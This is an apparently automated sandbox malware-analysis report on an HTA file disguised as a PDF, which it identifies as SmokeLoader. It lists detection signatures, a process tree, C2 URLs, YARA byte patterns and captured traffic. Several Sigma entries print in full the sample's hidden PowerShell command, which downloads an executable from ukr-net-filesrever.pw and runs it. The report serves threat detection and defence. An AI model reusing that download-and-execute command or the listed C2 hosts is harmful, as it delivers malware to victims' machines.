Edit tour

Windows Analysis Report
3388.PDF.hta

Overview

General Information

Sample name:	3388.PDF.hta renamed because original name is a hash value
Original sample name:	_011024_i_01_10_2024___UA973248410000000026006263388.PDF.hta
Analysis ID:	1524029
MD5:	35ef7b98b8eabb06a41f4b0cecace704
SHA1:	5668a7317fb91f8be783ff93289dad41d5ea6108
SHA256:	c40dff83b1bb399b942ba22b7d03be530e35a04d9e0862789efada5896cd7eb6
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Sigma detected: Powershell download and execute file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected SmokeLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Found API chain indicative of debugger detection

Found evasive API chain (may stop execution after checking system information)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Powershell drops PE file

Sigma detected: PowerShell DownloadFile

Sigma detected: Suspicious MSHTA Child Process

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to download and execute files (via powershell)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w7x64

mshta.exe (PID: 3564 cmdline: mshta.exe "C:\Users\user\Desktop\3388.PDF.hta" MD5: ABDFC692D9FE43E2BA8FE6CB5A8CB95A)

powershell.exe (PID: 3612 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

EkXH.exe (PID: 3824 cmdline: "C:\Users\user\AppData\Local\Temp\EkXH.exe" MD5: 31059E7394B880F017E83804D9B716AB)

explorer.exe (PID: 1244 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

taskeng.exe (PID: 3956 cmdline: taskeng.exe {A18241FA-0367-40E9-BBC3-15CE4DAD052A} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1] MD5: 65EA57712340C09B1B0C427B4848AE05)

vgjfftu (PID: 3988 cmdline: C:\Users\user\AppData\Roaming\vgjfftu MD5: 31059E7394B880F017E83804D9B716AB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://unicexpertmagazine.pw/index.php", "http://ceoconstractionstore.pl/index.php", "http://openclehardware.ru/index.php", "http://informcoopirationunicolceo.ru/index.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.406593052.0000000000251000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.406593052.0000000000251000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x254:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000004.00000002.406664461.0000000000669000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x32e9:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.472086421.0000000000220000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000004.00000002.406577078.0000000000220000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000004.00000002.406582889.0000000000230000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.406582889.0000000000230000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x654:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000008.00000002.476562400.0000000000999000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x2ec9:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.475270997.0000000000230000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000008.00000002.475270997.0000000000230000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x654:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000008.00000002.476491461.0000000000251000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000008.00000002.476491461.0000000000251000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x254:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\3388.PDF.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 3564, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", ProcessId: 3612, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\3388.PDF.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 3564, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", ProcessId: 3612, ProcessName: powershell.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\vgjfftu, CommandLine: C:\Users\user\AppData\Roaming\vgjfftu, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\vgjfftu, NewProcessName: C:\Users\user\AppData\Roaming\vgjfftu, OriginalFileName: C:\Users\user\AppData\Roaming\vgjfftu, ParentCommandLine: taskeng.exe {A18241FA-0367-40E9-BBC3-15CE4DAD052A} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1], ParentImage: C:\Windows\System32\taskeng.exe, ParentProcessId: 3956, ParentProcessName: taskeng.exe, ProcessCommandLine: C:\Users\user\AppData\Roaming\vgjfftu, ProcessId: 3988, ProcessName: vgjfftu

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\3388.PDF.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 3564, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", ProcessId: 3612, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\3388.PDF.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 3564, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", ProcessId: 3612, ProcessName: powershell.exe

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3612, TargetFilename: C:\Users\user\AppData\Local\Temp\3whyeuor.ju0.ps1

Data Obfuscation

Sigma detected: Powershell download and execute file

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\3388.PDF.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 3564, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path", ProcessId: 3612, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T12:25:57.550656+0200	2039103	1	A Network Trojan was detected	192.168.2.22	49162	185.219.7.204	80	TCP
2024-10-02T12:27:08.805485+0200	2039103	1	A Network Trojan was detected	192.168.2.22	49163	185.219.7.204	80	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T12:25:20.716931+0200	2019714	2	Potentially Bad Traffic	192.168.2.22	49161	185.219.7.204	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\vgjfftu	Avira: detection malicious, Label: HEUR/AGEN.1312567
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Avira: detection malicious, Label: HEUR/AGEN.1312567

Found malware configuration

Source: 00000004.00000002.406582889.0000000000230000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://unicexpertmagazine.pw/index.php", "http://ceoconstractionstore.pl/index.php", "http://openclehardware.ru/index.php", "http://informcoopirationunicolceo.ru/index.php"]}

Multi AV Scanner detection for domain / URL

Source: unicexpertmagazine.pw	Virustotal: Detection: 9%			Perma Link
Source: http://ukr-net-filesrever.pw/download/svc.exe	Virustotal: Detection: 6%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Virustotal: Detection: 36%			Perma Link
Source: C:\Users\user\AppData\Roaming\vgjfftu	Virustotal: Detection: 36%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\vgjfftu	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.22:49162 -> 185.219.7.204:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.22:49163 -> 185.219.7.204:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: openclehardware.ru
Source: C:\Windows\explorer.exe	Domain query: ceoconstractionstore.pl
Source: C:\Windows\explorer.exe	Domain query: unicexpertmagazine.pw
Source: C:\Windows\explorer.exe	Domain query: informcoopirationunicolceo.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.219.7.204 80	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://unicexpertmagazine.pw/index.php
Source: Malware configuration extractor	URLs: http://ceoconstractionstore.pl/index.php
Source: Malware configuration extractor	URLs: http://openclehardware.ru/index.php
Source: Malware configuration extractor	URLs: http://informcoopirationunicolceo.ru/index.php

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0Date: Wed, 02 Oct 2024 10:25:20 GMTContent-Type: application/x-msdos-programContent-Length: 222720Connection: closeLast-Modified: Wed, 02 Oct 2024 05:06:08 GMTETag: "36600-62377654eb000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 06 d2 fc 49 42 b3 92 1a 42 b3 92 1a 42 b3 92 1a 5c e1 16 1a 5e b3 92 1a 5c e1 07 1a 51 b3 92 1a 5c e1 11 1a 1e b3 92 1a 65 75 e9 1a 45 b3 92 1a 42 b3 93 1a 32 b3 92 1a 5c e1 18 1a 43 b3 92 1a 5c e1 06 1a 43 b3 92 1a 5c e1 03 1a 43 b3 92 1a 52 69 63 68 42 b3 92 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1e 60 49 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 80 01 00 00 64 11 00 00 00 00 00 16 17 00 00 00 10 00 00 00 90 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 13 00 00 04 00 00 03 a2 03 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 a7 01 00 50 00 00 00 00 50 11 00 e0 a1 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 a4 01 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 df 7e 01 00 00 10 00 00 00 80 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 20 00 00 00 90 01 00 00 22 00 00 00 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f8 7f 0f 00 00 c0 01 00 00 18 00 00 00 a6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 1d 05 00 00 00 40 11 00 00 06 00 00 00 be 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 a1 01 00 00 50 11 00 00 a2 01 00 00 c4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /download/svc.exe HTTP/1.1Host: ukr-net-filesrever.pwConnection: Keep-Alive

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.22:49161 -> 185.219.7.204:80

Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://navjbpyetuaao.org/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: unicexpertmagazine.pw
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kwbsyhfpuedti.net/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 325Host: unicexpertmagazine.pw

Source: global traffic

HTTP traffic detected: GET /download/svc.exe HTTP/1.1Host: ukr-net-filesrever.pwConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ukr-net-filesrever.pw
Source: global traffic	DNS traffic detected: DNS query: unicexpertmagazine.pw
Source: global traffic	DNS traffic detected: DNS query: ceoconstractionstore.pl
Source: global traffic	DNS traffic detected: DNS query: openclehardware.ru
Source: global traffic	DNS traffic detected: DNS query: informcoopirationunicolceo.ru

Source: unknown

HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://navjbpyetuaao.org/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: unicexpertmagazine.pw

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 02 Oct 2024 10:25:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 75 6e 69 63 65 78 70 65 72 74 6d 61 67 61 7a 69 6e 65 2e 70 77 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1a2<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at unicexpertmagazine.pw Port 80</address></body></html>0

Source: explorer.exe, 00000005.00000000.404961446.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com
Source: powershell.exe, 00000001.00000002.395989011.0000000003939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.392682461.0000000002911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.392682461.0000000002B92000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.392682461.0000000002BA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.392682461.0000000002BA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ukr-net-filesrever.pw
Source: powershell.exe, 00000001.00000002.390878362.0000000000565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ukr-net-filesrever.pw/download/svc.exe
Source: explorer.exe, 00000005.00000000.404961446.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 00000005.00000000.405597987.0000000003B98000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com0
Source: 3388.PDF.hta	String found in binary or memory: http://www.pgdp.net
Source: explorer.exe, 00000005.00000000.405739079.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.406299609.0000000007902000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.405400637.000000000260E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
